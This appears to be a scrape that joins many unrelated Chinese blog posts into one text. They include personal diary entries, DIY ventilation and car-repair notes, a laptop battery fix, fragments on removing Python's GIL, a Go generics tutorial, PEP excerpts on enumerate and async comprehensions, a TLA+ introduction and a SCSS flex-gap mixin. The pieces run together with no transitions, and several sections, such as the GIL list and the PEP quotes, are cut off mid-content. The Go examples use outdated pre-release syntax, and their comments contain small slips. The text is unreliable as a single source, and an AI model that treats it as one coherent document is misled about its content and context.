真是活久见,今年一年的文章把之前5年的量都给补上了。去公司那条必走的路,走了这么多次,竟然没发现这路上还有个测速,问题是走了这么多次我也没超速,这早上是起床晚了着急了,没留心,咔嚓一张高清超速,测速闪灯的那一刻我看了一下后视镜,难怪刚刚明明跑的比兔子还快,这会儿在后面当乌龟呢?到公司一打听,这路测速是真的,并且这条没什么车看似乡道的路道路等级竟然是城市快速路,MMP,6分200,这玩的有点大了。
因户型的原因,我家卫生间的窗户是连着厨房外一个生活阳台的,而为了防止楼下窜烟上来,我把生活阳台给封了个窗户,这下卫生间的潮气臭气就没地去了,卫生间浴霸抽的湿气等于全部集聚在吊顶的里面,而生活阳台的窗户上我原本是开了一个6公分的孔的用于给热水器排烟。所以就想着给改造一下,让卫生间顶部的湿气全部通过热水器排烟孔散出去。改造方案也简单,就是在排烟孔位置加一个三通,然后卫生间顶部原来的排气孔位置加一个管道风机,将浴霸抽上来的湿气通过管道风机再抽一道并排出去。网购配件:三通、管道风机、排烟软管。结果也不知道是PVC三通的尺寸不准还是玻璃开孔不准,反正就是塞不进去。没辙我就用薯片的罐子手动做了一个三通,正好薯片罐子里面有一层铝箔,倒也是起到防潮隔热的作用,用胶带胡乱的缠了上去,取下卫生间的扣板吊顶,扩大排气孔,把管道风机装上,扣好扣板,就完事了。这样浴霸风机抽上来的湿气和臭气,再经过管道风机抽到室外,妥妥的“新风”系统了。
那几天商务部出了个啥鼓励居民存储生活必需品的鬼新闻,加上前段时间什么高铁修到台北、台湾解放后军费用于民生等等,也不知道哪些蠢货将这些联想到一起要打台湾了,疯狂的屯米屯盐屯油。导致我老父亲在乡下一瞬间就买不到米面油了,疯狂的给我打电话让我备生活物资,说老家镇上啥都卖空了,我回我父亲,上海2500W人口,如果米面油都买不到了,那老百姓不得造反啊,不慌,不用买,父亲恁是把我数落一顿,非的逼我去买,况且我还在衢州呢,竟然让我在衢州买米带上海去,我不得疯啊。挂了父亲的电话,也就没把这事放心上,毕竟那年福岛核电站事故,当年屯的盐足足吃了我2年,再也不干这傻事了,回到上海逛下超市,米油盐堆积如山,生活依旧。话说回湾湾这事,真要打仗那也不是商务部出来发这个什么鬼通知,真到那时就是国防动员了,依稀记得96年台海危机,浙江作为对台作战的一线,当年我们家那儿大大小小的林地驻扎的全是部队,大点的林子里面都挖的战壕,坦克进出。那是真的差点打起来,只是箭在弦上没发罢了。况且我在衢州那几天,头顶歼二十都没飞出来,打个屁啊打。
天还没转凉的时候,薅了交行和工行的人民币红包,两个共计40块,下载数字人民币APP,找个全家便利店,爽爽的花掉,那感觉就跟吃了蜜糖似的。还薅了邮政的15元数字人民币,只能用在美团单车上,到现在也没花出去,不爽。因为数字人民币能离线支付,就想着用两个NFC手机互相转一下看看,才发现这种红包式的数字人民币只能消费不能转账,只有自己充值进去的数字人民币可以互相支付。哦对了,数字人民币红包没花掉的部分到期会被回收。就跟优惠券差不多,没多大意思,便利性和隐私性还不错,就看什么时候能大规模铺开了。
与年轻人之间的代沟越来越大,出差在外的晚上正好也无聊就让小弟们带我打农药,反正他俩也要玩,就顺便带下我这老头子了,也好有个共同话题,只是这打游戏是真的是不太适合我这老年人了。打不着人不说还尽送人头。这回来几天让王老师也带着我飞了几天,之前到还好,越到后面越觉得对面也都是扮猪吃老虎的主,翻车概率越来越大。试问哪个大佬能带我一直飞?
前段时间二刷了长津湖,因大姨父曾经是抗美援朝老兵,就想着去写个影评啥的,没成想豆瓣更新了隐私政策后要实名手机才能写影评了,就去绑定我的手机,发现我的手机被另外一个号绑定了,只能去用手机号登录,发现系统又提示因为违规手机号被锁定了,无法登录也无法解绑,没办法,只好默默的给豆瓣管理员写了一封真情实意的邮件,寻求帮助,豆瓣这几天回复了,并且顺利帮我的手机号解绑,赶紧上号,绑定手机,又能愉快的玩豆瓣了。
pymalloc
替换成mimalloc
,对字典和其它集合对象采用无锁读写,同时提升效率(堆内存布局允许在不维护显式列表的情况下找到 GC 跟踪的对象)PyEval_ReleaseThread
,相当于在当前 Python 中释放 GIL);mimalloc
, GC 跟踪的对象都保存在一个单独的轻量级的堆中;gilectomy 项目作者在 PyCon 上的分享:
2015年分享:https://www.youtube.com/watch?v=KVKufdTphKs
-X nogil
禁用 GIL),以便让第三方库做适配。然后,在发布几个版本后,默认值再切换成无 GIL 的模式。concurrent.futures
和asyncio
用于并发线程之间的通信。队列比字典和列表简单,它使用细粒度的锁而不是无锁读取。其它的对象很可能需要组合使用。jemalloc
,在谷歌中使用tcmalloc
,尽管集成得较少,更像是默认分配器的简单替换。(Python猫注:前文提到的 mimalloc 是微软的)这回是公司配发我的笔记本电脑坏了,莫名其妙电池就不能正常供电了,可能不小心在哪里磕了碰了,造成电池损坏,不得已只能申报维修,而我们公司是没有配备网管的,大的网络工程和硬件维护都是外包出去的,IT部部门经理是我兼任的,先看看自己能不能修,能秀就自己动手,不能修到时候再报外修。
▼先看铭牌,联想拯救者14ISK
▼拆D壳,圆圈中的6个螺丝拆掉
▼D壳往后一拉,前方卡扣就脱离了
▼拆开后全貌,尽是灰尘
▼看下电池型号及电压信息
▼要拆电池,发现电池左边两个压脚被压在机械硬盘的支架压脚下面了,先拆硬盘
▼拆掉硬盘后,把电池的几个固定螺丝拆除,就可以掀起电池了
▼拆小电源线插头,忘后抠,用点巧劲
▼然后把电池整个取下,由于无法知道哪两根是正负极,只能万用表调DC20V档位,两两一对测试,所有结果都无电压输出,说明电芯损坏。
▼某东买一块同型号的电池,链接在此,有需要的可以下单,最后装上电池,顺道清理下灰尘,完工。
3月份出差在客户处着车后莫名自己熄火,此后陆续早上出门发动机怠速不稳,冷车启动的时候喘抖,转速表上窜下跳的。到4月份的时候竟然发动机故障灯还亮了,就去了修车店顺带着去做保养,修理店读OBD故障码,显示的是燃油喷射过浓。修车小哥说可能是加了劣质的燃油,保养之前又正好去了一个不常去的加油站,就听信了小哥清除故障码,再开一段时间再说。结果清除故障码后第二天故障灯又亮了,算了反正不影响正常行驶,直到那箱油开完,换了第二箱又第三箱油,发动机故障灯自己又灭了,早上冷车启动喘抖的问题一直都在。
老病未除,又添新疾,最近发现倒车的时候,雷达时断时续,倒车灯和倒车影像也和雷达同步时断时续。没办法,喘抖大不了把我扔半路,倒车灯不亮存在安全隐患,到了必修不可的地步了。
倒车灯、雷达、影像三者都是同步断开同步启动,可以排除是三个配件坏了,最大的可能是在线路上,很像线路接触不良,最开始怀疑是我自己装的倒车影像线路由问题,这是当初自己换影像摄像头的博文链接。但是仔细一想不对啊,如果我自己换的这个影像线路有问题,那倒车雷达和倒车灯应该不受影响才对。那就是整个倒车线路有问题,倒车整车线路在底盘上走线,要拆开检查动静就太大了,并且线路是有绝缘电工胶布缠绕的,损坏的可能性不大,先搁置待查,再往前追溯,可能是保险丝烧了,也不对,如果保险丝烧了就彻底凉了,不会跟接触不良一样的效果,最后只能是最前段的倒车开关了,这里需要一点常识,因为倒车的原理是当行车电脑获取到倒档信号后启动雷达、影像、倒车灯的,自动挡的基本直接集成在档杆位置了,而手动挡的车很多是集成在变速器上面的。当然百度一搜一大堆倒车开关损坏的案例。得嘞,网购倒车开关配件,这是我买的某宝倒车开关链接,某东链接点击这里
因为上次修车店帮我检查过了OBD故障码,显示的是燃油喷射过浓,当时查看这问题的时候还显示了短期燃油修正异常和长期燃油修正异常。并且我的后氧传感器电压异常。后氧传感器电压异常的问题在2017年的时候我就知道了,OBD显示数据正常跳动,如果是坏了就不会出现电压变动的情况了,那唯一的问题就是这个短期和长期燃油修正异常了。发动机燃油修正的意思就是根据当前进气量、发动机转速工况及燃油标号进行的自动浓度修正。也就是行车电脑会根据情况调整发动机燃油喷射量的自动程序,当燃油修正失灵后,一般油耗会增加。马上百度一下科鲁兹燃油修正异常,在汽车论坛里面有网友反馈更换气流计后就好了。那就简单了,百度搜索科鲁兹空气流量计,了解到安装位置后就可以网购配件了。这是我买的空气流量计的某宝链接,某东链接点击这里
空气流量计是装在空气滤芯盒这里的,这个非常好换,黄色卡扣扣出来,插头先拔下来,然后十字螺丝刀,两个螺丝拧下,整个气流计就拔下来了,然后新的装上,插头插上,卡扣按下去就完工了。
▲这个黄色卡扣抠出来,插头就能拔下了,拆的时候忘拍照了,这是新的装好后的照片
▲这个就是换下来的坏的空气流量计
倒车开关需要冷车换,发动机高温情况下别操作,容易烫到手,别问我是怎么知道的,差点烫破皮。倒车开关是装在变速箱上的,科鲁兹英朗的变速箱在方向盘这边,位置有点下,拧螺丝有点不顺手。
▲圈出来的位置即倒车开关
▲拔下插头,插头另一边有个绿色卡扣,抠上来插头就拔下了
▲绿色卡扣闭合的样子
▲绿色卡扣拔起的样子
▲新的倒车开关
▲拧下来坏的倒车开关
▲新的拧上,插上插头,按下绿色卡扣完工
倒车开关17元,空气流量计290元,合计307块钱,外加耗费1小时。比4S店或者修理店要便宜很多了。
Go语言的1.17版本发布了,其中开始正式支持泛型了。虽然还有一些限制(比如,不能把泛型函数export),但是,可以体验了。我的这个《Go编程模式》的系列终于有了真正的泛型编程了,再也不需要使用反射或是go generation这些难用的技术了。周末的时候,我把Go 1.17下载下来,然后,体验了一下泛型编程,还是很不错的。下面,就让我们来看一下Go的泛型编程。(注:不过,如果你对泛型编程的重要性还不是很了解的话,你可以先看一下之前的这篇文章《Go编程模式:Go Generation》,然后再读一下《Go编程模式:MapReduce》)
我们先来看一个简单的示例:
package main import "fmt" func print[T any] (arr []T) { for _, v := range arr { fmt.Print(v) fmt.Print(" ") } fmt.Println("") } func main() { strs := []string{"Hello", "World", "Generics"} decs := []float64{3.14, 1.14, 1.618, 2.718 } nums := []int{2,4,6,8} print(strs) print(decs) print(nums) }
上面这个例子中,有一个 print()
函数,这个函数就是想输出数组的值,如果没有泛型的话,这个函数需要写出 int
版,float
版,string
版,以及我们的自定义类型(struct
)的版本。现在好了,有了泛型的支持后,我们可以使用 [T any]
这样的方式来声明一个泛型类型(有点像C++的 typename T
),然后面都使用 T
来声明变量就好。
上面这个示例中,我们泛型的 print()
支持了三种类型的适配—— int
型,float64
型,和 string
型。要让这段程序跑起来需要在编译行上加上 -gcflags=-G=3
编译参数(这个编译参数会在1.18版上成为默认参数),如下所示:
$ go run -gcflags=-G=3 ./main.go
有了个操作以后,我们就可以写一些标准的算法了,比如,一个查找的算法
func find[T comparable] (arr []T, elem T) int { for i, v := range arr { if v == elem { return i } } return -1 }
我们注意到,我们没有使用 [T any]
的形式,而是使用 [T comparable]
的形式,comparable
是一个接口类型,其约束了我们的类型需要支持 ==
的操作, 不然就会有类型不对的编译错误。上面的这个 find()
函数同样可以使用于 int
, float64
或是string
类型。
从上面的这两个小程序来看,Go语言的泛型已基本可用了,只不过,还有三个问题:
fmt.Printf()
中的泛型类型是 %v
还不够好,不能像c++ iostream
重载 >>
来获得程序自定义的输出。==
等find()
算法依赖于“数组”,对于hash-table、tree、graph、link等数据结构还要重写。也就是说,没有一个像C++ STL那样的一个泛型迭代器(这其中的一部分工作当然也需要通过重载操作符(如:++
来实现)不过,这个已经很好了,让我们来看一下,可以干哪些事了。
编程支持泛型最大的优势就是可以实现类型无关的数据结构了。下面,我们用Slices这个结构体来实现一个Stack的数结构。
首先,我们可以定义一个泛型的Stack
type stack [T any] []T
看上去很简单,还是 [T any]
,然后 []T
就是一个数组,接下来就是实现这个数据结构的各种方法了。下面的代码实现了 push()
,pop()
,top()
,len()
,print()
这几个方法,这几个方法和 C++的STL中的 Stack很类似。(注:目前Go的泛型函数不支持 export,所以只能使用第一个字符是小写的函数名)
func (s *stack[T]) push(elem T) { *s = append(*s, elem) } func (s *stack[T]) pop() { if len(*s) > 0 { *s = (*s)[:len(*s)-1] } } func (s *stack[T]) top() *T{ if len(*s) > 0 { return &(*s)[len(*s)-1] } return nil } func (s *stack[T]) len() int{ return len(*s) } func (s *stack[T]) print() { for _, elem := range *s { fmt.Print(elem) fmt.Print(" ") } fmt.Println("") }
上面的这个例子还是比较简单的,不过在实现的过程中,对于一个如果栈为空,那么 top()
要么返回error
要么返回空值,在这个地方卡了一下。因为,之前,我们返回的“空”值,要么是 int 的0
,要么是 string 的 “”
,然而在泛型的T
下,这个值就不容易搞了。也就是说,除了类型泛型后,还需要有一些“值的泛型”(注:在C++中,如果你要用一个空栈进行 top()
操作,你会得到一个 segmentation fault),所以,这里我们返回的是一个指针,这样可以判断一下指针是否为空。
下面是如何使用这个stack的代码。
func main() { ss := stack[string]{} ss.push("Hello") ss.push("Hao") ss.push("Chen") ss.print() fmt.Printf("stack top is - %v\n", *(ss.top())) ss.pop() ss.pop() ss.print() ns := stack[int]{} ns.push(10) ns.push(20) ns.print() ns.pop() ns.print() *ns.top() += 1 ns.print() ns.pop() fmt.Printf("stack top is - %v\n", ns.top()) }
下面我们再来看一个双向链表的实现。下面这个实现中实现了 这几个方法:
add()
– 从头插入一个数据结点push()
– 从尾插入一个数据结点del()
– 删除一个结点(因为需要比较,所以使用了 compareable
的泛型)print()
– 从头遍历一个链表,并输出值。type node[T comparable] struct { data T prev *node[T] next *node[T] } type list[T comparable] struct { head, tail *node[T] len int } func (l *list[T]) isEmpty() bool { return l.head == nil && l.tail == nil } func (l *list[T]) add(data T) { n := &node[T] { data : data, prev : nil, next : l.head, } if l.isEmpty() { l.head = n l.tail = n } l.head.prev = n l.head = n } func (l *list[T]) push(data T) { n := &node[T] { data : data, prev : l.tail, next : nil, } if l.isEmpty() { l.head = n l.tail = n } l.tail.next = n l.tail = n } func (l *list[T]) del(data T) { for p := l.head; p != nil; p = p.next { if data == p.data { if p == l.head { l.head = p.next } if p == l.tail { l.tail = p.prev } if p.prev != nil { p.prev.next = p.next } if p.next != nil { p.next.prev = p.prev } return } } } func (l *list[T]) print() { if l.isEmpty() { fmt.Println("the link list is empty.") return } for p := l.head; p != nil; p = p.next { fmt.Printf("[%v] -> ", p.data) } fmt.Println("nil") }
上面这个代码都是一些比较常规的链表操作,学过链表数据结构的同学应该都不陌生,使用的代码也不难,如下所示,都很简单,看代码就好了。
func main(){ var l = list[int]{} l.add(1) l.add(2) l.push(3) l.push(4) l.add(5) l.print() //[5] -> [2] -> [1] -> [3] -> [4] -> nil l.del(5) l.del(1) l.del(4) l.print() //[2] -> [3] -> nil }
接下来,我们就要来看一下我们函数式编程的三大件 map()
、 reduce()
和 filter()
在之前的《Go编程模式:Map-Reduce》文章中,我们可以看到要实现这样的泛型,需要用到反射,代码复杂到完全读不懂。下面来看一下真正的泛型版本。
func gMap[T1 any, T2 any] (arr []T1, f func(T1) T2) []T2 { result := make([]T2, len(arr)) for i, elem := range arr { result[i] = f(elem) } return result }
在上面的这个 map函数中我使用了两个类型 – T1
和 T2
,
T1
– 是需要处理数据的类型T2
– 是处理后的数据类型T1
和 T2
可以一样,也可以不一样。
我们还有一个函数参数 – func(T1) T2
意味着,进入的是 T1
类型的,出来的是 T2
类型的。
然后,整个函数返回的是一个 []T2
好的,我们来看一下怎么使用这个map函数:
nums := []int {0,1,2,3,4,5,6,7,8,9} squares := gMap(nums, func (elem int) int { return elem * elem }) print(squares) //0 1 4 9 16 25 36 49 64 81 strs := []string{"Hao", "Chen", "MegaEase"} upstrs := gMap(strs, func(s string) string { return strings.ToUpper(s) }) print(upstrs) // HAO CHEN MEGAEASE dict := []string{"零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖"} strs = gMap(nums, func (elem int) string { return dict[elem] }) print(strs) // 零 壹 贰 叁 肆 伍 陆 柒 捌 玖
接下来,我们再来看一下我们的Reduce函数,reduce函数是把一堆数据合成一个。
func gReduce[T1 any, T2 any] (arr []T1, init T2, f func(T2, T1) T2) T2 { result := init for _, elem := range arr { result = f(result, elem) } return result }
函数实现起来很简单,但是感觉不是很优雅。
T1
和 T2
,前者是输出数据的类型,后者是佃出数据的类型。init
,是 T2
类型func(T2, T1) T2
,会把这个init值传给用户,然后用户处理完后再返回出来。下面是一个使用上的示例——求一个数组的和
nums := []int {0,1,2,3,4,5,6,7,8,9} sum := gReduce(nums, 0, func (result, elem int) int { return result + elem }) fmt.Printf("Sum = %d \n", sum)
filter函数主要是用来做过滤的,把数据中一些符合条件(filter in)或是不符合条件(filter out)的数据过滤出来,下面是相关的代码示例
func gFilter[T any] (arr []T, in bool, f func(T) bool) []T { result := []T{} for _, elem := range arr { choose := f(elem) if (in && choose) || (!in && !choose) { result = append(result, elem) } } return result } func gFilterIn[T any] (arr []T, f func(T) bool) []T { return gFilter(arr, true, f) } func gFilterOut[T any] (arr []T, f func(T) bool) []T { return gFilter(arr, false, f) }
其中,用户需要提从一个 bool
的函数,我们会把数据传给用户,然后用户只需要告诉我行还是不行,于是我们就会返回一个过滤好的数组给用户。
比如,我们想把数组中所有的奇数过滤出来
nums := []int {0,1,2,3,4,5,6,7,8,9} odds := gFilterIn(nums, func (elem int) bool { return elem % 2 == 1 }) print(odds)
正如《Go编程模式:Map-Reduce》中的那个业务示例,我们在这里再做一遍。
首先,我们先声明一个员工对象和相关的数据
type Employee struct { Name string Age int Vacation int Salary float32 } var employees = []Employee{ {"Hao", 44, 0, 8000.5}, {"Bob", 34, 10, 5000.5}, {"Alice", 23, 5, 9000.0}, {"Jack", 26, 0, 4000.0}, {"Tom", 48, 9, 7500.75}, {"Marry", 29, 0, 6000.0}, {"Mike", 32, 8, 4000.3}, }
然后,我们想统一下所有员工的薪水,我们就可以使用前面的reduce函数
total_pay := gReduce(employees, 0.0, func(result float32, e Employee) float32 { return result + e.Salary }) fmt.Printf("Total Salary: %0.2f\n", total_pay) // Total Salary: 43502.05
我们函数这个 gReduce
函数有点啰嗦,还需要传一个初始值,在用户自己的函数中,还要关心 result
我们还是来定义一个更好的版本。
一般来说,我们用 reduce 函数大多时候基本上是统计求和或是数个数,所以,是不是我们可以定义的更为直接一些?比如下面的这个 CountIf()
,就比上面的 Reduce 干净了很多。
func gCountIf[T any](arr []T, f func(T) bool) int { cnt := 0 for _, elem := range arr { if f(elem) { cnt += 1 } } return cnt; }
我们做求和,我们也可以写一个Sum的泛型。
T
类型的数据,返回 U
类型的结果T
的 U
类型的数据就可以了。代码如下所示:
type Sumable interface { type int, int8, int16, int32, int64, uint, uint8, uint16, uint32, uint64, float32, float64 } func gSum[T any, U Sumable](arr []T, f func(T) U) U { var sum U for _, elem := range arr { sum += f(elem) } return sum }
上面的代码我们动用了一个叫 Sumable 的接口,其限定了 U 类型,只能是 Sumable里的那些类型,也就是整型或浮点型,这个支持可以让我们的泛型代码更健壮一些。
于是,我们就可以完成下面的事了。
1)统计年龄大于40岁的员工数
old := gCountIf(employees, func (e Employee) bool { return e.Age > 40 }) fmt.Printf("old people(>40): %d\n", old) // ld people(>40): 2
2)统计薪水超过 6000元的员工数
high_pay := gCountIf(employees, func(e Employee) bool { return e.Salary >= 6000 }) fmt.Printf("High Salary people(>6k): %d\n", high_pay) //High Salary people(>6k): 4
3)统计年龄小于30岁的员工的薪水
younger_pay := gSum(employees, func(e Employee) float32 { if e.Age < 30 { return e.Salary } return 0 }) fmt.Printf("Total Salary of Young People: %0.2f\n", younger_pay) //Total Salary of Young People: 19000.00
4)统计全员的休假天数
total_vacation := gSum(employees, func(e Employee) int { return e.Vacation }) fmt.Printf("Total Vacation: %d day(s)\n", total_vacation) //Total Vacation: 32 day(s)
5)把没有休假的员工过滤出来
no_vacation := gFilterIn(employees, func(e Employee) bool { return e.Vacation == 0 }) print(no_vacation) //{Hao 44 0 8000.5} {Jack 26 0 4000} {Marry 29 0 6000}
怎么样,你大概了解了泛型编程的意义了吧。
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
def enumerate(collection):
'Generates an indexed series: (0,coll[0]), (1,coll[1]) ...'
i = 0
it = iter(collection)
while 1:
yield (i, it.next())
i += 1
函数名 | 分析 |
---|---|
iterindexed() | 五个音节太拗口了 |
index() | 很好的动词,但是可能会跟 .index () 方法混淆 |
indexed() | 很受欢迎,但是应该避免形容词 |
indexer() | 在 for 循环中,名词读起来不太好 |
count() | 直接而明确,但常用于其它语境 |
itercount() | 直接、明确,但被不止一个人讨厌 |
iteritems() | 与字典的 key:value 概念冲突 |
itemize() | 让人困惑,因为 amap.items() != list(itemize(amap)) |
enum() | 简练;不及enumerate 清楚;与其它语言中的枚举太相似,但有着不同的含义 |
for linenum, line in enumerate(source,1):
print linenum, line
filter 和 map 应该 die,被纳入列表推导式,不增加更多的变体。我宁可引进做迭代器运算的内置函数(例如 iterzip,我经常举的例子)。 我认可用某种方法并行地遍历序列及其索引的想法。把它作为一个内置函数,没有问题。 我不喜欢“indexed”这个名字;形容词不是好的函数名。可以用 iterindexed() ?
我对你的提议也很满意……新增的内置函数(倾向于用“indexed”)是我期盼了很久的东西。
新的内置函数听起来不错。Guido 可能会担心增加太多内置对象。你最好把它们作为某个模块的一部分。如果你用模块的话,那么你可以添加很多有用的函数(Haskell 有很多,我们可以去“偷”)。
我认为 indexed 会是一个有用和自然的内置函数。我肯定会经常使用它。 我非常喜欢 indexed();+1。 很高兴它淘汰了 PEP-281。为迭代器添加一个单独的模块似乎是个好主意。
对于 enumerate() 提案,几乎 100% 赞成。几乎所有人都喜欢这个想法。
在这些评论之前,共有四种内置函数被提出来。经过评论之后,xmap、xfilter 和 xzip 被撤销了。剩下的一个对 Python 来说是至关重要的。Indexed() 非常容易实现,并且立马就可以写进文档。更重要的是,它在日常编程中很有用,如果不用它,就需要显式地使用生成器。 这个提案最初包含了另一个函数 iterzip()。但之后在 itertools 模块中实现成了一个 izip() 函数。
result = []
async for i in aiter():
if i % 2:
result.append(i)
result = [i async for i in aiter() if i % 2]
result = [await fun() for fun in funcs]
dataset = {data for line in aiter()
async for data in line
if check(data)}
data = {data for line in aiter() async for data in line if check(data)}
result = [await fun() for fun in funcs]
result = {await fun() for fun in funcs}
result = {fun: await fun() for fun in funcs}
result = [await fun() for fun in funcs if await smth]
result = {await fun() for fun in funcs if await smth}
result = {fun: await fun() for fun in funcs if await smth}
result = [await fun() async for fun in funcs]
result = {await fun() async for fun in funcs}
result = {fun: await fun() async for fun in funcs}
result = [await fun() async for fun in funcs if await smth]
result = {await fun() async for fun in funcs if await smth}
result = {fun: await fun() async for fun in funcs if await smth}
comp_for: [ASYNC] 'for' exprlist 'in' or_test [comp_iter]
形式化验证(Formal Verification)指一类使用数理逻辑方法来证明软件设计是正确的技术,据称是由 Edsger Dijkstra 于 1972 年最早提出,此方法一直是一种比较小众冷门的技术。形式化验证技术想要解决的核心问题是:软件总是可能存在 Bug 的,而测试始终无法涵盖所有可能性,特别是对于并发系统及分布式系统来说,就算单元测试达到了 100% 分支覆盖率,也不能肯定的说这个系统在线程安全,一致性等方面不会出问题。那如何更好的来验证我们的程序是否符合预期呢?形式化验证就旨在使用严谨的数学证明方法来证明某一算法是正确的。这样我们就可以拍着胸脯说,我的算法肯定是正确的,都证明过了:)
听上去是不是很牛逼啊,感觉我们马上就要能写出 bug free 的程序来了呢~然而理想很丰满,现实很骨感,实际问题远远不会是这么简单的,要是形式化验证真这么好用那它就不至于至今还这么小众了,事实上形式化验证存在着很多局限性与不 work 的时候的,这个后面再来细说。
关于形式化方法的实际应用及其强大之处可以进一步读读下面这篇布道文:
Don’t Test, Verify —— 哪个故事真正符合你对形式化验证的想象?
当初也是因为偶然看了此文章知道了形式化验证这个东西,后面也陆续去深入了解学习了下,最近也用它解决了一些实际工作中的问题。本文就打算分享下入门学习的一些心得体会。
进行形式化验证的具体工具有很多,目前实际软件开发中最为常用的是由 Leslie Lamport 开发的 TLA+,这是一种用于形式化验证的语言,主要用于验证并行及分布式系统的正确性。
由于 TLA+ 写的代码并不是用来实际运行的,故一般将其代码称为模型(Model)而非程序(Program)。
TLA+ 是基于数理逻辑而非经典的软件开发思想设计出来的,故其代码与其他编程语言有着显著区别,其中的基本元素是集合,逻辑运算,映射等东西,来个例子感受下:
1 | Next == \/ \E b \in Ballots : Phase1a(b) \/ Phase2a(b) |
这段代码看上去完全不像在编程,实际上写 TLA+ 代码的确也不是在编程而是在用数理逻辑定义一些东西。
这学习曲线对于大部分码农来说实在是太过于陡峭了,Programer 并不是数学家,Lamport 大神也知道这一点,于是他又搞了个叫 PlusCal 的东西出来。PlusCal 是一种类似 C/Pascal 的高级语言,其目的同样不是为了生成机器代码来运行,而是依靠 TLA+ 解释器来生成对应的 TLA+ 模型代码。
来一段实际的 PlusCal 代码感受下:
1 | (* --algorithm EuclidAlg { |
这看上去就很像经典编程语言了,因此对于程序员来说,可以使用 PlusCal 来快速进行形式化验证。不过 PlusCal 毕竟是 TLA+ 的上层高级语言,其能实现的功能只是 TLA+ 的一个子集,不过一般来说此问题不大,这个子集对于简单应用来说足够用了。
有了代码后如何运行 TLA+ 或 PlusCal 模型呢,Lamport 为此开发了一个 IDE,即 TLA Toolbox. 然而此 IDE UI 界面并不是很好用,更建议使用 VSCode 中的 TLA 插件 来进行开发。
入门学习建议从下面这个教程开始:
此教程完全从实用角度出发,立足点是如何用 PlusCal 来解决日常编程中需要关注的并发,一致性等问题,因此十分简单易学,也比较短,看完后基本就能实际上手做些事情了。
在实际写 PlusCal 代码的时候需要参考下其语法手册,PlusCal 有两种语法风格,类似 Pascal 的 P-Syntax 及类似 C 语言的 C-Syntax,语法手册分别如下:
A PlusCal User’s Manual C-Syntax Version 1.8
A PlusCal User’s Manual P-Syntax Version 1.8
网上的例子中使用 P-Syntax 的居多,不过我个人更喜欢 C-Syntax 一些。
如果看完上述简单教程后还想进一步系统的学习一下,那建议从 Lamport 的 TLA+ 项目主页开始:
此外 Lamport 还有一本系统的讲形式化验证的书:
观千剑而后识器,看看其他人是如何写代码的对于入门来说也是很有用的,下面这两个 Github 项目中收集整理了很多 TLA+ 模型,如果想要提高水平可以仔细学习揣摩下:
形式化验证是用来验证算法是正确的,那什么叫“正确”呢?如何定义“正确”是形式化验证中最重要的问题之一。比较符合程序员习惯的方法是在 PlusCal 中加入 assert
来检查是否满足某些条件。不过更好的方法是使用不变量(Invariants)检查,如何正确的定义算法中需要检查的 Invariant 是十分重要的,如果检查条件的定义本身就是不完备的,那形式化验证的结果自然也是不完备的。
PlusCal 中使用 Label 来定义原子操作,一个 Label 下若干条语句会被视为是一个原子操作,如果把本来不是原子操作的行为错误的定义为了原子操作,那最终得到的结果显然就会是不完备的。
如果把本来可以视为一个原子操作的行为定义为若干条原子操作,则会让验证的计算量大幅增加,导致验证所需时间变长。PlusCal 翻译成 TLA+ 后验证原理是穷举不同进程间执行时序的所有可能性,若原子操作或分支过多,会造成解空间的急剧膨胀。
# grouping decimal numbers by thousands
amount = 10_000_000.0
# grouping hexadecimal addresses by words
addr = 0xCAFE_F00D
# grouping bits into nibbles in a binary literal
flags = 0b_0011_1111_0100_1110
# same, for string conversions
flags = int('0b_1111_0000', 2)
integer: decinteger | bininteger | octinteger | hexinteger
decinteger: nonzerodigit (["_"] digit)* | "0" (["_"] "0")*
bininteger: "0" ("b" | "B") (["_"] bindigit)+
octinteger: "0" ("o" | "O") (["_"] octdigit)+
hexinteger: "0" ("x" | "X") (["_"] hexdigit)+
nonzerodigit: "1"..."9"
digit: "0"..."9"
bindigit: "0" | "1"
octdigit: "0"..."7"
hexdigit: digit | "a"..."f" | "A"..."F"
floatnumber: pointfloat | exponentfloat
pointfloat: [digitpart] fraction | digitpart "."
exponentfloat: (digitpart | pointfloat) exponent
digitpart: digit (["_"] digit)*
fraction: "." digitpart
exponent: ("e" | "E") ["+" | "-"] digitpart
imagnumber: (floatnumber | digitpart) ("j" | "J")
一直以来,习惯在 flex 布局中使用 gap
这个属性设置间距,一直以来也都是在最新的 Chrome 上调试,所以从来没有想在 flex gap 在其他浏览器上存在兼容性问题。最近看了一下文档才反应过来,gap
原来只是 grid 布局的属性,虽然近些年来主流浏览器都已经支持了,但是一些使用人数不少的浏览器其实仍然没有支持,包括 UC、QQ,以及运行在 Android 11 上的最新版 MS Edge。
这么方便的属性怎么可能放着它不用呢,于是有人做了 PostCSS 的插件(flex-gap-polyfill),自动对 CSS 里面的 flex box 进行处理,尝试过一下,基本上能用,但是要命的是里面用了很多 css 变量,在 css 代码压缩的时候很容易出问题(有些变量会被 esbuild 判定为无效,直接丢掉了),另外这个插件对处理过 flex box 后,会对 box 里面使用 absolute 定位的元素产生不可预见的影响,总之我并不推荐使用这个插件。
事实上 gap 可以用 margin 很轻易地实现,原理可以看这里,我给它封装了一套 SCSS 的 mixin。
// _polyfills.scss
@use 'sass:math';
@mixin _flex-gap($gap, $row: true) {
$margin: math.div($gap, 2);
$transform: -$margin;
@if $row {
margin-left: $transform;
margin-right: $transform;
} @else {
margin-top: $transform;
margin-bottom: $transform;
}
> * {
@if $row {
margin-left: $margin;
margin-right: $margin;
} @else {
margin-top: $margin;
margin-bottom: $margin;
}
}
}
@mixin flex-gap($gap, $flex-flow: 'row nowrap') {
@if $flex-flow== 'row nowrap' or $flex-flow== 'row-reverse nowrap' {
@include _flex-gap($gap, true);
} @else if $flex-flow== 'column nowrap' or $flex-flow== 'column-reverse nowrap' {
@include _flex-gap($gap, false);
} @else if $flex-flow== 'row wrap' or $flex-flow== 'row-reverse wrap' {
@include _flex-gap($gap, true);
@include _flex-gap($gap, false);
} @else if $flex-flow== 'column wrap' or $flex-flow== 'column-reverse wrap' {
@include _flex-gap($gap, true);
@include _flex-gap($gap, false);
} @else {
@error "The second paramater $flex-flow is set to be '#{$flex-flow}', which is illegal.";
}
}
调用方法:
@use 'polyfills';
.pagination__container {
width: 100%;
display: flex;
flex-flow: row wrap;
justify-content: center;
align-items: center;
// gap: 6px;
@include polyfills.flex-gap(6px, 'row wrap');
.item__wrapper {
flex: 1 1 auto;
width: 100%;
font-size: 24px;
}
}
